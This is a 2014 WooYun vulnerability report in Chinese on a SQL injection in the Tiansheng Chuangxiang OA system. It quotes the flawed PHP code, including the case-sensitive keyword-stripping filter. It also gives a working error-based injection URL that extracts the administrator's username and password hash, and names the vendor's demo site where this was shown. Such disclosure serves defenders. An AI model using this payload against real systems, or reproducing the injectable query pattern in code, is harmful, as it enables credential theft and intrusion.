当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051208

漏洞标题:天生创想OA系统SQL注入漏洞分析+官网演示

相关厂商:cncert国家互联网应急中心

漏洞作者: 飞扬风

提交时间:2014-02-17 22:15

修复时间:2014-05-18 22:16

公开时间:2014-05-18 22:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-17: 细节已通知厂商并且等待厂商处理中
2014-02-22: 厂商已经确认,细节仅向厂商公开
2014-02-25: 细节向第三方安全合作伙伴开放
2014-04-18: 细节向核心白帽子及相关领域专家公开
2014-04-28: 细节向普通白帽子公开
2014-05-08: 细节向实习白帽子公开
2014-05-18: 细节向公众公开

简要描述:

天生创想OA系统SQL注入漏洞分析+官网演示

详细说明:

天生创想OA V2014

QQ截图20140216153659.jpg


/administrative/mod_conference.php,84-94行处

elseif ($do == 'keys') {

$id = getGP('id','G');
$type = getGP('type','G');
$db->query("update ".DB_TABLEPRE."conference set type='".$type."' where id=".$id." ");
$content=$id;
$title='审批会议内容';
get_logadd($id,$content,$title,19,$_USER->id);
show_msg('会议信息审批成功!', 'admin.php?ac='.$ac.'&fileurl='.$fileurl.'');
}


$id通过getGP()函数获得,这个函数在/include/function_global.php,293-307行处

//获取$_GET或$_POST值
function getGP($var, $method = 'GP', $type = 'string') {
if ($method == 'G' || $method != 'P' && isset($_GET[$var])) {
$gp = &$_GET;
} else {
$gp = &$_POST;
}
if ($type == 'int') {
return isset($gp[$var]) ? intval($gp[$var]) : 0;
} elseif ($type == 'array') {
return isset($gp[$var]) ? (array)getsql($gp[$var]) : array();
} else {
return isset($gp[$var]) ? (string)trim(getsql($gp[$var])) : '';
}
}


可以看出来最后是通过getsql()函数获得,在/include/function_global.php,278-291行处

function getsql($str){
$str=str_replace('select','',$str);
$str=str_replace('join','',$str);
$str=str_replace('union','',$str);
$str=str_replace('where ','',$str);
$str=str_replace('insert','',$str);
$str=str_replace('delete','',$str);
$str=str_replace('and ','',$str);
$str=str_replace('drop','',$str);
$str=str_replace('create','',$str);
$str=str_replace('script','',$str);
$str=str_replace('alert','',$str);
return $str;
}


明显发现过滤的很薄弱,过滤之前没有做大小写转换,只过滤了小写的单词,稍微变换下就可以绕过。
利用方法:登陆一个普通帐户,访问如下页面

http://网站地址/admin.php?ac=conference&fileurl=administrative&do=keys&id=(Select 1 from (Select count(*),concat((Select concat(username,0x3a,password) from po_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&type=2


就可以得到管理员帐号及密码的密文

漏洞证明:

官网演示http://oa.515158.com/
PS:官网将所有表前面加了前缀“p”

QQ截图20140217190117.jpg


QQ截图20140216201739.jpg

修复方案:

过滤函数太薄弱了~~~

版权声明:转载请注明来源 飞扬风@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-02-22 11:49

厂商回复:

CNVD确认所述案例以及机理分析情况,对该OA进行了特征提取,不过时间关系暂未得到其他实例情况,暂不对通用性进行确认(CMS软件在部署时有较大差异,或许实例上就不一定有漏洞)。如果白帽子后续有实例,也可以进一步联系提交。

最新状态:

暂无